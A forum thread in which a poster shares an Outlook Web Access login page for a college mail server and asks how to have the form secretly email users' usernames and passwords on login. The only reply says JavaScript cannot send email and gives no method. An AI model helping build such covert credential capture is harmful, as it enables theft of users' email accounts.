By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
424,853 Members | 1,003 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 424,853 IT Pros & Developers. It's quick & easy.

Login form also send email javascript & html

P: 1
I have a microsoft exchange login page that uses javascript to authenticate the user and take them to their email .

I am trying to also make the form send an email with the username & password once they press login.

Any ideas? I've put the code for the form below:

Expand|Select|Wrap|Line Numbers
  1. <script Language=javascript>
  2.  <!--
  3.   function logonForm_onsubmit()
  4.   {
  5.    if (logonForm.username.value.indexOf("@") !=-1)
  6.     {
  7.      return true;
  8.     }
  9.    logonForm.username.value = "marlborough\\" + logonForm.username.value;
  10.    return false;
  11.   }
  12.  //-->
  13.  </script>
  14.  <FORM action="https://mail.marlboroughcollege.org/exchweb/bin/auth/owaauth.dll" method="POST" name="logonForm" autocomplete="off" onsubmit="logonForm_onsubmit()">
  15.  
  16.     <INPUT type="hidden" name="destination" value="https://mail.marlboroughcollege.org/Exchange">
  17.     <INPUT type="hidden" name="flags" value="0">
  18.     <TABLE id="borderTable" class="standardTable" cellSpacing=0 cellPadding=0 height="100%" width="100%" bgColor="#3D5FA3" border=0>
  19.         <TR height=20>
  20.             <TD width="33%">&nbsp;</TD>
  21.             <TD width="33%">&nbsp;</TD>
  22.             <TD width="34%">&nbsp;</TD>
  23.         </TR>
  24.         <TR>
  25.             <TD width="33%">&nbsp;</TD>
  26.             <TD width="33%" valign="top">
  27.                 <TABLE id="mainTable" class="mainTable" cellSpacing=0 cellPadding=0 width=550 bgColor="#FFFFFF" border=0>
  28.                     <TR>
  29.                         <TD><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width="10"></TD>
  30.                         <TD height="100%" valign=top>
  31.                             <TABLE id="sidebarTable" class="standardTable" height="100%" width="100%" cellSpacing=0 cellPadding=0 border=0>
  32.                             <TR><TD width="100%" height="100%"><IMG title="" alt="" height=421 src="https://mail.marlboroughcollege.org/exchweb/img/logon_Nav.gif" width=76 border=0></TD></TR>
  33.                             </TABLE>
  34.                         </TD>
  35.                         <TD><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width="5"></TD>
  36.                         <TD width="100%" valign=top>
  37.                             <TABLE id="logoTable" dir="LTR" cellSpacing=0 cellPadding=0 width="100%" border="0" bgColor="#FFFFFF">
  38.                                 <TR>
  39.                                     <TD vAlign=top align="right" width="100%" height=120 style="padding-top: 15">
  40.                                         <IMG title="" alt="" height=12 src="https://mail.marlboroughcollege.org/exchweb/img/logon_Microsoft.gif" width=59 border=0 hspace=10>
  41.                                     </TD>
  42.                                 </TR>
  43.                                 <TR>
  44.                                     <TD class="logoTD" width="100%">
  45.                                                    <IMG title="Microsoft Office Outlook Web Access provided by Microsoft Exchange Server 2003" alt="Microsoft Office Outlook Web Access provided by Microsoft Exchange Server 2003" height=62 src="https://mail.marlboroughcollege.org/exchweb/img/logon_logo.gif" width=331 border=0 hspace=0>
  46.  
  47.                                     </TD>
  48.                                 </TR>
  49.                                 <TR>
  50.                                     <TD width="100%">
  51.                                         <TABLE id="usertxtTable" width="100%" cellspacing=0 cellpadding=0 border=0 bgColor="#FFFFFF">
  52.         <TR><TD noWrap align="left" valign="top" height="8">&nbsp;</TD><TD width=10><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width=10></TD></TR>
  53.         <TR><TD noWrap align="left" valign="top" height="8">&nbsp;</TD><TD width=10 rowspan=2>&nbsp;</TD></TR>
  54.     <TR>
  55.         <TD VALIGN=top>
  56.             <TABLE id="contentTable" width="100%" height="100%" cellpadding=0 cellspacing=0 border="0" bgColor="#FFFFFF">
  57.                 <TR>
  58.                     <TD NOWRAP width="1%"><P><LABEL for="username">Username:</LABEL></P></TD>
  59.                     <TD rowspan=7>&nbsp;&nbsp;</TD>
  60.                     <TD width="98%"><INPUT type="text" id="username" name="username" style="width:100%" size="25" maxlength="256"></TD>
  61.                     <TD rowspan=4>&nbsp;&nbsp;</TD>    
  62.                     <TD width="1%">&nbsp;</TD>
  63.                 </TR>
  64.                                                             <TR>
  65.                     <TD height="5"></TD>
  66.                     <TD valign="top" height="5"><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width=25 height=5></TD>
  67.                     <TD height=5></TD>
  68.                 </TR>
  69.                                                             <TR>
  70.                     <TD NOWRAP width="1%"><P><LABEL for="password">Password:</LABEL></P></TD>
  71.                     <TD width="98%"><INPUT type="password" autocomplete="off" style="width:100%" id="password" name="password" size="25" maxlength="256"></TD>
  72.                     <TD width="1%"><INPUT type="submit" value="Log On" id="SubmitCreds" name="SubmitCreds"></TD>
  73.                 </TR>
  74.                                                             <TR>
  75.                     <TD height="12"></TD>
  76.                     <TD valign="top" height="12"><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width=25 height=12></TD>
  77.                     <TD height=12></TD>
  78.                 </TR>
  79.                                         <TR><TD>&nbsp;</TD><TD colspan=4><TABLE cellspacing=0 cellpadding=0 border=0><TR><TD colspan=2 width="100%" style="padding-bottom:3px;"><B>Security</B>&nbsp;</TD></TR><TR><TD colspan="2"><TABLE cellspacing=0 cellpadding=0><TR><TD><INPUT id="rdoPublic" checked type="radio" name="trusted" value="0" onclick="flags.value &= 11"></TD><TD NOWRAP><LABEL for="rdoPublic">Public or shared computer</LABEL></TD></TR><TR><TD height=6><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" height=6></TD><TD height=6></TD></TR><TR id="trPublic"><TD>&nbsp;</TD><TD>Select this option if you use Outlook Web Access on a public computer.</TD></TR></TABLE></TD></TR><TR><TD height=6><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" height=6></TD><TD height=6></TD></TR><TR><TD colspan="2"><TABLE cellspacing=0 cellpadding=0><TR><TD><INPUT id="rdoTrusted" name="trusted" type="radio" value="4" onclick="flags.value |= 4"></TD><TD NOWRAP><LABEL for="rdoTrusted">Private computer</LABEL></TD></TR><TR><TD height=6><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" height=6></TD><TD height=6></TD></TR><TR id="trTrusted"><TD>&nbsp;</TD><TD>Select this option if you are the only person who uses this computer.</TD></TR><TR id="trWrn"><TD>&nbsp;</TD><TD><FONT color="red"><B>Warning:</B> By selecting this option you acknowledge that the computer complies with your organization's security policy.</FONT></TD></TR></TABLE></TD></TR></TABLE></TD></TR>
  80.             </TABLE>
  81.         </TD>
  82.     </TR>
  83. </TABLE>
  84.                                         </TD>
  85.                                     </TR>
  86.                                     <TR><TD colspan=2 width="100%">&nbsp;</TD></TR>
  87.                                 </TABLE>
  88.                             </TD>
  89.                         </TR>
  90.                 </TABLE>
  91.                     <DIV dir="LTR" >
  92.                     <FONT color="#FFFFFF">
  93.                         <BR>
  94.                         To protect your account from unauthorized access, Outlook Web Access automatically closes its connection to your mailbox after a period of inactivity. If your session ends, refresh your browser, and then log on again.
  95.                     </FONT>
  96.                 </DIV>
  97.             </TD>
  98.             <TD width="34%">&nbsp;</TD>
  99.         </TR>
  100.         <TR>
  101.             <TD width="33%">&nbsp;</TD>
  102.             <TD width="33%">&nbsp;</TD>
  103.             <TD width="34%">&nbsp;</TD>
  104.         </TR>
  105. </TABLE>
  106.     </FORM>
Dec 2 '10 #1
Share this Question
Share on Google+
1 Reply


acoder
Expert Mod 15k+
P: 16,027
You shouldn't use JavaScript for authentication unless it's only the part which deals with user interaction and not the actual checking/validation/authentication. The JavaScript source code can be seen.

JavaScript can't send email. You will need to use a server-side language or some server-based solution.
Dec 6 '10 #2

Post your reply

Sign in to post your reply or Sign up for a free account.